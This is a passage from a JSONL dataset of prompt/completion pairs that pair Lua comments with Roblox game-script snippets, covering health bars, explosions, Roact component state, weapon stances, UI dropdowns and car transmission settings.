* Humanoid.Health / Humanoid.MaxHealth, 0, 1, 0)\n\t\t}\n\t):Play()\n\t\n\tStatus.Text = math.floor(Humanoid.Health)..\" / \"..Humanoid.MaxHealth\n\t\n\tif Humanoid.Health <= Humanoid.MaxHealth and Humanoid.Health > Humanoid.MaxHealth * 50 / 100 then\n\t\tDisplay.BackgroundColor3 = Color3.fromRGB(0, 170, 0)\n\t\t\n\telseif Humanoid.Health <= Humanoid.MaxHealth * 50 / 100 and Humanoid.Health > Humanoid.MaxHealth * 25 / 100 then\n\t\tDisplay.BackgroundColor3 = Color3.fromRGB(255, 170, 0)\n\t\t\n\telseif Humanoid.Health <= Humanoid.MaxHealth * 25 / 100 then\n\t\tDisplay.BackgroundColor3 = Color3.fromRGB(170, 0, 0)\n\n\tend\nend)\n"} +{"prompt": "-- Returns the ancestor that contains a Humanoid, if it exists", "completion": "\nlocal function FindCharacterAncestor(subject)\n\tif subject and subject ~= game.Workspace then\n\t\tlocal humanoid = subject:FindFirstChild('Humanoid')\n\t\tif humanoid then\n\t\t\treturn subject, humanoid\n\t\telse\n\t\t\treturn FindCharacterAncestor(subject.Parent)\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal function OnExplosionHit(hitPart, hitDistance, blastCenter)\n\tlocal character, humanoid = FindCharacterAncestor(hitPart.Parent)\n\tif hitPart.Name == \"CenterPart\" then return false end\n\tif humanoid and humanoid.Health > 0 then\n\t\tif hitPart.Name == 'HumanoidRootPart' then\n\t\t\thumanoid:TakeDamage(script:FindFirstChild('Damage').Value)\n\t\tend\n\telse\n\t\thitPart:BreakJoints()\n\t\tlocal blastForce = Instance.new('BodyForce', hitPart)\n\t\tblastForce.force = (hitPart.Position - blastCenter).unit * script:FindFirstChild('BlastForce').Value * hitPart:GetMass()\n\t\tgame.Debris:AddItem(blastForce, 0.1)\n\tend\nend\n\n\ncannonball.Touched:connect(function(other)\n\tlocal explosion = Instance.new(\"Explosion\")\n\texplosion.BlastPressure = 0\n\texplosion.ExplosionType = Enum.ExplosionType.NoCraters\n\texplosion.BlastRadius = script:FindFirstChild('BlastRadius').Value\n\texplosion.Position = cannonball.Position\t\n\texplosion.Parent = cannonball\n\t\n\tlocal connection = explosion.Hit:connect(function(hitPart, hitDistance) OnExplosionHit(hitPart, hitDistance, explosion.Position) end)\n\twait(.1)\n\tcannonball:Destroy()\nend)\n"} +{"prompt": "-- This makes the loading bar fill up. Don't touch anything here!", "completion": "\nlocal prog = 0\n\nwhile wait() do\n\tprog = prog + 0.5\n\tscript.Parent.Size = UDim2.new(prog/100, 0, 0.1, 0)\n\tscript.Parent.Parent.LoadingLabel.Text = (\"Loading... \" ..math.floor(prog*2).. \"%\")\n\tif prog == 50 then\n\t\twait(1)\n\t\tscript.Parent.Parent.Parent:Destroy()\n\tend\nend\n\nscript:Destroy()\n"} +{"prompt": "-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388", "completion": "\n\n\n\n\n\n\n\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Accessory\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Hat\" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(-0,-0,-1) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0,-0.05,0.22) -- Change these to change the positiones of your hat, as I said earlier.\n\t\twait(5)\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "-- USERINPUT FUNCTIONS\n-- Functions that handle user input with the GUIs prompting the player to\n-- interact with the game", "completion": "\n"} +{"prompt": "--[[\n\tA method called by consumers of Roact to create a new component class.\n\tComponents can not be extended beyond this point, with the exception of\n\tPureComponent.\n]]", "completion": "\nfunction Component:extend(name)\n\tif config.typeChecks then\n\t\tassert(Type.of(self) == Type.StatefulComponentClass, \"Invalid `self` argument to `extend`.\")\n\t\tassert(typeof(name) == \"string\", \"Component class name must be a string\")\n\tend\n\n\tlocal class = {}\n\n\tfor key, value in pairs(self) do\n\t\t-- Roact opts to make consumers use composition over inheritance, which\n\t\t-- lines up with React.\n\t\t-- https://reactjs.org/docs/composition-vs-inheritance.html\n\t\tif key ~= \"extend\" then\n\t\t\tclass[key] = value\n\t\tend\n\tend\n\n\tclass[Type] = Type.StatefulComponentClass\n\tclass.__index = class\n\tclass.__componentName = name\n\n\tsetmetatable(class, componentClassMetatable)\n\n\treturn class\nend\n\nfunction Component:__getDerivedState(incomingProps, incomingState)\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid use of `__getDerivedState`\")\n\tend\n\n\tlocal internalData = self[InternalData]\n\tlocal componentClass = internalData.componentClass\n\n\tif componentClass.getDerivedStateFromProps ~= nil then\n\t\tlocal derivedState = componentClass.getDerivedStateFromProps(incomingProps, incomingState)\n\n\t\tif derivedState ~= nil then\n\t\t\tif config.typeChecks then\n\t\t\t\tassert(typeof(derivedState) == \"table\", \"getDerivedStateFromProps must return a table!\")\n\t\t\tend\n\n\t\t\treturn derivedState\n\t\tend\n\tend\n\n\treturn nil\nend\n\nfunction Component:setState(mapState)\n\tif config.typeChecks then\n\t\tassert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid `self` argument to `extend`.\")\n\tend\n\n\tlocal internalData = self[InternalData]\n\tlocal lifecyclePhase = internalData.lifecyclePhase\n\n\t--[[\n\t\tWhen preparing to update, rendering, or unmounting, it is not safe\n\t\tto call `setState` as it will interfere with in-flight updates. It's\n\t\talso disallowed during unmounting\n\t]]\n\tif lifecyclePhase == ComponentLifecyclePhase.ShouldUpdate or\n\t\tlifecyclePhase == ComponentLifecyclePhase.WillUpdate or\n\t\tlifecyclePhase == ComponentLifecyclePhase.Render or\n\t\tlifecyclePhase == ComponentLifecyclePhase.WillUnmount\n\tthen\n\t\tlocal messageTemplate = invalidSetStateMessages[internalData.lifecyclePhase]\n\n\t\tlocal message = messageTemplate:format(tostring(internalData.componentClass))\n\n\t\terror(message, 2)\n\tend\n\n\tlocal pendingState = internalData.pendingState\n\n\tlocal partialState\n\tif typeof(mapState) == \"function\" then\n\t\tpartialState = mapState(pendingState or self.state, self.props)\n\n\t\t-- Abort the state update if the given state updater function returns nil\n\t\tif partialState == nil then\n\t\t\treturn\n\t\tend\n\telseif typeof(mapState) == \"table\" then\n\t\tpartialState = mapState\n\telse\n\t\terror(\"Invalid argument to setState, expected function or table\", 2)\n\tend\n\n\tlocal newState\n\tif pendingState ~= nil then\n\t\tnewState = assign(pendingState, partialState)\n\telse\n\t\tnewState = assign({}, self.state, partialState)\n\tend\n\n\tif lifecyclePhase == ComponentLifecyclePhase.Init then\n\t\t-- If `setState` is called in `init`, we can skip triggering an update!\n\t\tlocal derivedState = self:__getDerivedState(self.props, newState)\n\t\tself.state = assign(newState, derivedState)\n\n\telseif lifecyclePhase == ComponentLifecyclePhase.DidMount or\n\t\tlifecyclePhase == ComponentLifecyclePhase.DidUpdate or\n\t\tlifecyclePhase == ComponentLifecyclePhase.ReconcileChildren\n\tthen\n\t\t--[[\n\t\t\tDuring certain phases of the component lifecycle, it's acceptable to\n\t\t\tallow `setState` but defer the update until we're done with ones in flight.\n\t\t\tWe do this by collapsing it into any pending updates we have.\n\t\t]]\n\t\tlocal derivedState = self:__getDerivedState(self.props, newState)\n\t\tinternalData.pendingState = assign(newState, derivedState)\n\n\telseif lifecyclePhase == ComponentLifecyclePhase.Idle then\n\t\t-- Outside of our lifecycle, the state update is safe to make immediately\n\t\tself:__update(nil, newState)\n\n\telse\n\t\tlocal messageTemplate = invalidSetStateMessages.default\n\n\t\tlocal message = messageTemplate:format(tostring(internalData.componentClass))\n\n\t\terror(message, 2)\n\tend\nend\n"} +{"prompt": "-- Private Methods", "completion": "\n\nfunction init(self)\n\tlocal button = self.Button\n\tlocal listFrame = self.ListFrame\n\t\n\t--local function contentSizeUpdate()\n\t--\tlocal absSize = button.AbsoluteSize\n\t--\tlocal ratio = absSize.y / absSize.x\n\t\t\n\t--\tbutton.Arrow.Size = UDim2.new(ratio, 0, 1, 0)\n\t--\tbutton.Option.Size = UDim2.new(1 - ratio, -12, 1, 0)\n\t--end\n\t\n\t--contentSizeUpdate()\n\t--self._Maid:Mark(button:GetPropertyChangedSignal(\"AbsoluteSize\"):Connect(contentSizeUpdate))\n\t\n\tfor i, optionButton in next, listFrame.ScrollFrame:GetChildren() do\n\t\tif not optionButton:IsA(\"GuiButton\") then\n\t\t\tcontinue\n\t\tend\n\t\t\n\t\tself._Options[i] = optionButton\n\t\toptionButton.Activated:Connect(function()\n\t\t\tself:Set(optionButton)\n\t\tend)\n\tend\n\n\tself._Maid:Mark(button.Activated:Connect(function()\n\t\tself:Show(not listFrame.Visible)\n\tend))\n\t\n\tself._Maid:Mark(UIS.InputBegan:Connect(function(input)\n\t\tif (VALID_PRESS[input.UserInputType]) then\n\t\t\tlocal p = input.Position\n\t\t\tlocal p2 = Vector2.new(p.x, p.y)\n\t\t\t\n\t\t\tif (listFrame.Visible and not (isInFrame(listFrame, p2) or isInFrame(button, p2))) then\n\t\t\t\tself:Show(false)\n\t\t\tend\n\t\tend\n\tend))\nend\n\nfunction isInFrame(frame, pos)\n\tlocal fPos = frame.AbsolutePosition\n\tlocal fSize = frame.AbsoluteSize\n\tlocal d = pos - fPos\n\treturn (d.x >= 0 and d.x <= fSize.x and d.y >= 0 and d.y <= fSize.y)\nend\n"} +{"prompt": "--[[ Public API ]]", "completion": "--\nfunction ShiftLockController:IsShiftLocked()\n\treturn IsShiftLockMode and IsShiftLocked\nend\n\nfunction ShiftLockController:SetIsInFirstPerson(isInFirstPerson)\n\tIsInFirstPerson = isInFirstPerson\nend\n"} +{"prompt": "--// Events", "completion": "\nlocal L_101_ = L_20_:WaitForChild('Equipped')\nlocal L_102_ = L_20_:WaitForChild('ShootEvent')\nlocal L_103_ = L_20_:WaitForChild('DamageEvent')\nlocal L_104_ = L_20_:WaitForChild('CreateOwner')\nlocal L_105_ = L_20_:WaitForChild('Stance')\nlocal L_106_ = L_20_:WaitForChild('HitEvent')\nlocal L_107_ = L_20_:WaitForChild('KillEvent')\nlocal L_108_ = L_20_:WaitForChild('AimEvent')\nlocal L_109_ = L_20_:WaitForChild('ExploEvent')\nlocal L_110_ = L_20_:WaitForChild('AttachEvent')\n"} +{"prompt": "-- When the weapon is deactivated", "completion": "\nfunction weaponTemplate:OnDeactivate()\n\t\nend\n\nfunction weaponTemplate:OnStartFiring()\nend\n\nfunction weaponTemplate:OnStopFiring()\n\t\n\t-- Is Server\n\tif not self.isClient then\n\t\tself.rewardTimer:Stop()\n\tend\nend\n\nfunction weaponTemplate:OnFire()\n\t\n\t\n\n\tif not self.isClient then\n\t\tself.gun.Body.Begin:Play()\n\tend\n\n\t\t\n\t-- Is Client\n\tif self.isClient then\n\t\t\n\t\tlocal newProjectile = self.projectileModel:Clone()\n\t\tlocal randomPoint = weaponTemplate.getUnitSpherePoint()\n\t\tlocal newBullet = bullet.new(newProjectile, self.ownerPlayer, 50, self.gun.firePart.Position, self.gun.firePart.CFrame.LookVector + randomPoint * self.coneSpread, 300, \"Physics\", false)\n\t\tnewBullet.Name = newProjectile.Name\n\t\treplicateProjectile_Re:FireServer(newBullet)\n\tend\n\t\t\n\n\t\t\t\n\tif not self.isClient then\n\t\t-- Ensure they don't run multiple timers\n\n\t\tif not self.rewardTimer:IsRunning() and self.rewardTimer.runningTicks == 0 then\n\t\t\tspawn(function() self.rewardTimer:Start() end) \n\t\tend\n\tend\nend"} +{"prompt": "--this is a table of named functions that replace text dynamically in prompt or response contents\n--whenever the dialogue system encounters a text like , it will replace that text\n--with a function from this table with the same name (SomeNameHere). So, for example, if you have\n--a prompt that says \"Hello, ! How is your family?\" The dialogue system would automatically\n--detect the , call the function PlayerName below, and replace the text with whatever\n--the function returns. So, if Telamon was speaking to this NPC, the text would read\n--\"Hello, Telamon! How is your family?\"", "completion": "\n"} +{"prompt": "-- return to idle if finishing an emote", "completion": "\nif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\nrepeatAnim = \"idle\"\nend\n\nlocal animSpeed = currentAnimSpeed\nplayAnimation(repeatAnim, 0.0, Humanoid)\nsetAnimationSpeed(animSpeed)\nend\nend\n"} +{"prompt": "--[[**\n\tensures Roblox EnumItem type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.EnumItem = primitive(\"EnumItem\")\n"} +{"prompt": "-- events", "completion": "\n\nREMOTES.Finished.OnClientEvent:connect(function()\n\tSCOPE_GUI.Visible\t= false\n\tMOUSE_GUI.Visible\t= false\n\t\n\tscript.Disabled\t= true\nend)\n\nSCOPE_GUI:GetPropertyChangedSignal(\"Visible\"):connect(function()\n\tscript.ScopeSound:Play()\n\t\n\tif SCOPE_GUI.Visible then\n\t\tLighting.ScopeBlur.Enabled\t= true\n\t\tLighting.ScopeBlur.Size\t\t= 32\n\t\t\n\t\tSCOPE_GUI.Size\t\t= UDim2.new(1.1, 0, 1.1, 0)\n\t\t\n\t\tlocal info\t= TweenInfo.new(0.4, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)\n\t\tlocal blurTween\t\t= TweenService:Create(Lighting.ScopeBlur, info, {Size = 0})\n\t\tlocal scopeTween\t= TweenService:Create(SCOPE_GUI, info, {Size = UDim2.new(1.4, 0, 1.4, 0)})\n\t\t\n\t\tblurTween:Play()\n\t\tscopeTween:Play()\n\telse\n\t\tLighting.ScopeBlur.Enabled\t= false\n\tend\nend)\n\nEVENTS.Aim.Event:connect(function(a)\n\taiming\t= a\n\tUpdateScope()\nend)\n\nEVENTS.Scope.Event:connect(function(s)\n\tscope\t= s\n\tUpdateScope()\nend)\n\nEVENTS.Sway.Event:connect(function(sway)\n\tscopeSpring:Shove(sway)\nend)\n\nEVENTS.Hitmarker.Event:connect(Hitmarker)\n\nREMOTES.Hitmarker.OnClientEvent:connect(Hitmarker)\n"} +{"prompt": "--INSERT THIS SCRIPT IN SERVERSCRIPTSERVICE--", "completion": "\n\nBadgeID = 0 \t--INSERT BADGE ID\nTimeNo = 0.1\t--WHEN TO GIVE BADGE AFTER PLAYER JOINED (Don't Change)\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\", \"Manual\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.30\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t2.80\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.98\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.61\t\t,\n\t\t--[[ 3 ]]\t\t1.90\t\t,\n\t\t--[[ 4 ]]\t\t1.48\t\t,\n\t\t--[[ 5 ]]\t\t1.16\t\t,\n\t\t--[[ 6 ]]\t\t0.91\t\t,\n\t\t--[[ 7 ]]\t\t0.69\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- initiate", "completion": "\n\nwhile true do\n\twait(1)\n\tfor p, v in pairs(cooldowns) do\n\t\tcooldowns[p]\t= v - 1\n\tend\nend\n"} +{"prompt": "-- Core connections", "completion": "\nConnections = {};\n\nfunction ClearConnections()\n\t-- Clears and disconnects temporary connections\n\tfor Index, Connection in pairs(Connections) do\n\t\tConnection:Disconnect();\n\t\tConnections[Index] = nil;\n\tend;\nend;\n\nfunction InitializeUI()\n\t-- Sets up the UI\n\n\t-- Ensure UI has not yet been initialized\n\tif UI then\n\t\treturn;\n\tend;\n\n\t-- Create the root UI\n\tUI = Instance.new('ScreenGui')\n\tUI.Name = 'Building Tools by F3X (UI)'\n\n\t-- Set up dock\n\tDock = Cheer(Tool.Interfaces.Dock, UI).Start(getfenv(0));\n\n\t-- Clean up UI on tool teardown\n\tUIMaid = Maid.new()\n\tTool.AncestryChanged:Connect(function (Item, Parent)\n\t\tif Parent == nil then\n\t\t\tUIMaid:Destroy()\n\t\tend\n\tend)\n\n\t-- Register explorer button on dock\n\tExplorerDockButton = Dock.AddSelectionButton(Assets.ExplorerDockIcon, 'EXPLORER\\n(Shift + H)')\n\tExplorerDockButton.Activated:Connect(ToggleExplorer)\n\tExplorerDockButton.ImageTransparency = 0.66\n\nend;\n\nlocal UIElements = Tool:WaitForChild 'UI'\nlocal ExplorerTemplate = require(UIElements:WaitForChild 'Explorer')\n\nfunction ToggleExplorer()\n\tif not ExplorerVisible then\n\t\tOpenExplorer()\n\telse\n\t\tCloseExplorer()\n\tend\nend\n\nfunction OpenExplorer()\n\n\t-- Ensure explorer not already open\n\tif ExplorerHandle then\n\t\treturn\n\tend\n\n\t-- Initialize explorer\n\tExplorer = Roact.createElement(ExplorerTemplate, {\n\t\tCore = getfenv(0),\n\t\tClose = CloseExplorer,\n\t\tScope = Targeting.Scope\n\t})\n\n\t-- Mount explorer\n\tExplorerHandle = Roact.mount(Explorer, UI, 'Explorer')\n\tExplorerVisible = true\n\n\t-- Unmount explorer on tool cleanup\n\tUIMaid.Explorer = Support.Call(Roact.unmount, ExplorerHandle)\n\tUIMaid.ExplorerScope = Targeting.ScopeChanged:Connect(function (Scope)\n\t\tlocal UpdatedProps = Support.Merge({}, Explorer.props, { Scope = Scope })\n\t\tlocal UpdatedExplorer = Roact.createElement(ExplorerTemplate, UpdatedProps)\n\t\tExplorerHandle = Roact.update(ExplorerHandle, UpdatedExplorer)\n\tend)\n\n\t-- Update dock\n\tExplorerDockButton.ImageTransparency = 0\n\nend\n\nfunction CloseExplorer()\n\n\t-- Clean up explorer\n\tUIMaid.Explorer = nil\n\tUIMaid.ExplorerScope = nil\n\tExplorerHandle = nil\n\tExplorerVisible = nil\n\n\t-- Update dock\n\tExplorerDockButton.ImageTransparency = 0.66\n\nend\n"} +{"prompt": "--- VARIABLES/CONSTANTS ---", "completion": "\n\nCAMERA_DEADZONE = 0.03\n\nplayer = game.Players.LocalPlayer\nmouse = player:GetMouse()\ncamera = workspace.Camera\n\nvps = camera.ViewportSize\n\nlocal screen_mouse_pos\nlocal mouse_pos\nlocal root_pos\nlocal x_dist"} +{"prompt": "--// Stances", "completion": "\nfunction Prone()\n\tUpdateAmmo()\n\tL_112_:FireServer(\"Prone\")\t\n\t\n\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\tCameraOffset = Vector3.new(0, -3, 0)\n\t}):Play()\n\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 4\n\t\n\tif not L_24_.TacticalModeEnabled then\n\t\tL_155_ = 4\n\t\tL_154_ = 0.025\n\telse\n\t\tL_154_ = 0.01\n\t\tL_155_ = 4\n\tend\n\t\n\tL_65_ = true\n\t\n\tProned2 = Vector3.new(0, 0.5, 0.5)\n\tL_130_(L_9_, CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_287_arg1)\n\t\treturn math.sin(math.rad(L_287_arg1))\n\tend, 0.25)\n\tL_130_(L_10_, CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_288_arg1)\n\t\treturn math.sin(math.rad(L_288_arg1))\n\tend, 0.25)\n\tL_130_(L_11_, CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_289_arg1)\n\t\treturn math.sin(math.rad(L_289_arg1))\n\tend, 0.25)\nend\n\nfunction Stand()\n\tUpdateAmmo()\n\tL_112_:FireServer(\"Stand\")\n\t\n\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\tCameraOffset = Vector3.new(0, 0, 0)\n\t}):Play()\n\t\n\tL_65_ = false\t\t\n\t\n\tif not L_64_ then\n\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 16\n\t\tif L_24_.TacticalModeEnabled then\n\t\t\tL_154_ = 0.09\n\t\t\tL_155_ = 11\n\t\telse\n\t\t\tL_154_ = .2\n\t\t\tL_155_ = 17\n\t\tend\n\telseif L_64_ then\n\t\tif L_24_.TacticalModeEnabled then\n\t\t\tL_154_ = 0.015\n\t\t\tL_155_ = 7\n\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 7\n\t\telse\n\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 16\n\t\t\tL_155_ = 10\n\t\t\tL_154_ = 0.02\n\t\tend\n\tend\n\t\n\tProned2 = Vector3.new(0, 0, 0)\n\tL_130_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_290_arg1)\n\t\treturn math.sin(math.rad(L_290_arg1))\n\tend, 0.25)\n\tL_130_(L_10_, CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_291_arg1)\n\t\treturn math.sin(math.rad(L_291_arg1))\n\tend, 0.25)\n\tL_130_(L_11_, CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_292_arg1)\n\t\treturn math.sin(math.rad(L_292_arg1))\n\tend, 0.25)\nend\n\nfunction Crouch()\n\tUpdateAmmo()\n\tL_112_:FireServer(\"Crouch\")\n\t\n\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\tCameraOffset = Vector3.new(0, -1, 0)\n\t}):Play()\n\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 9\n\t\n\tif not L_24_.TacticalModeEnabled then\n\t\tL_155_ = 9\n\t\tL_154_ = 0.035\n\telse\n\t\tL_154_ = 0.015\n\t\tL_155_ = 9\n\tend\n\t\n\tL_65_ = true\n\t\n\tProned2 = Vector3.new(0, 0, 0)\n\tL_130_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_293_arg1)\n\t\treturn math.sin(math.rad(L_293_arg1))\n\tend, 0.25)\n\tL_130_(L_10_, CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_294_arg1)\n\t\treturn math.sin(math.rad(L_294_arg1))\n\tend, 0.25)\n\tL_130_(L_11_, CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_295_arg1)\n\t\treturn math.sin(math.rad(L_295_arg1))\n\tend, 0.25)\n\tL_130_(L_6_:WaitForChild(\"Neck\"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_296_arg1)\n\t\treturn math.sin(math.rad(L_296_arg1))\n\tend, 0.25)\nend\n\nfunction LeanRight()\n\tif L_93_ ~= 2 then\n\t\tL_112_:FireServer(\"LeanRight\")\n\t\tL_130_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0), function(L_297_arg1)\n\t\t\treturn math.sin(math.rad(L_297_arg1))\n\t\tend, 0.25)\n\t\tL_130_(L_10_, nil, CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0), function(L_298_arg1)\n\t\t\treturn math.sin(math.rad(L_298_arg1))\n\t\tend, 0.25)\n\t\tL_130_(L_11_, nil, nil, function(L_299_arg1)\n\t\t\treturn math.sin(math.rad(L_299_arg1))\n\t\tend, 0.25)\t\n\t\tL_130_(L_6_:WaitForChild(\"Clone\"), nil, CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_300_arg1)\n\t\t\treturn math.sin(math.rad(L_300_arg1))\n\t\tend, 0.25)\n\t\tif not L_65_ then\n\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\tCameraOffset = Vector3.new(1, -0.5, 0)\n\t\t\t}):Play()\t\n\t\telseif L_65_ then\n\t\t\tif L_93_ == 1 then\n\t\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\t\tCameraOffset = Vector3.new(1, -1.5, 0)\n\t\t\t\t}):Play()\t\n\t\t\tend\n\t\tend;\n\tend\t\nend\n\nfunction LeanLeft()\n\tif L_93_ ~= 2 then\n\t\tL_112_:FireServer(\"LeanLeft\")\n\t\tL_130_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0), function(L_301_arg1)\n\t\t\treturn math.sin(math.rad(L_301_arg1))\n\t\tend, 0.25)\n\t\tL_130_(L_10_, nil, nil, function(L_302_arg1)\n\t\t\treturn math.sin(math.rad(L_302_arg1))\n\t\tend, 0.25)\n\t\tL_130_(L_11_, nil, CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0), function(L_303_arg1)\n\t\t\treturn math.sin(math.rad(L_303_arg1))\n\t\tend, 0.25)\n\t\tL_130_(L_6_:WaitForChild(\"Clone\"), nil, CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_304_arg1)\n\t\t\treturn math.sin(math.rad(L_304_arg1))\n\t\tend, 0.25)\n\t\tif not L_65_ then\n\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\tCameraOffset = Vector3.new(-1, -0.5, 0)\n\t\t\t}):Play()\t\n\t\telseif L_65_ then\n\t\t\tif L_93_ == 1 then\n\t\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\t\tCameraOffset = Vector3.new(-1, -1.5, 0)\n\t\t\t\t}):Play()\t\n\t\t\tend\n\t\tend;\n\tend\t\nend\n\nfunction Unlean()\n\tif L_93_ ~= 2 then\n\t\tL_112_:FireServer(\"Unlean\")\n\t\tL_130_(L_9_, nil, CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_305_arg1)\n\t\t\treturn math.sin(math.rad(L_305_arg1))\n\t\tend, 0.25)\n\t\tL_130_(L_10_, nil, CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), function(L_306_arg1)\n\t\t\treturn math.sin(math.rad(L_306_arg1))\n\t\tend, 0.25)\n\t\tL_130_(L_11_, nil, CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), function(L_307_arg1)\n\t\t\treturn math.sin(math.rad(L_307_arg1))\n\t\tend, 0.25)\t\n\t\tif L_6_:FindFirstChild('Clone') then\n\t\t\tL_130_(L_6_:WaitForChild(\"Clone\"), nil, CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_308_arg1)\n\t\t\t\treturn math.sin(math.rad(L_308_arg1))\n\t\t\tend, 0.25)\n\t\tend\t\t\n\t\tif not L_65_ then\n\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {\n\t\t\t\tCameraOffset = Vector3.new(0, 0, 0)\n\t\t\t}):Play()\t\n\t\telseif L_65_ then\t\t\t\n\t\t\tif L_93_ == 1 then\n\t\t\t\tL_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), 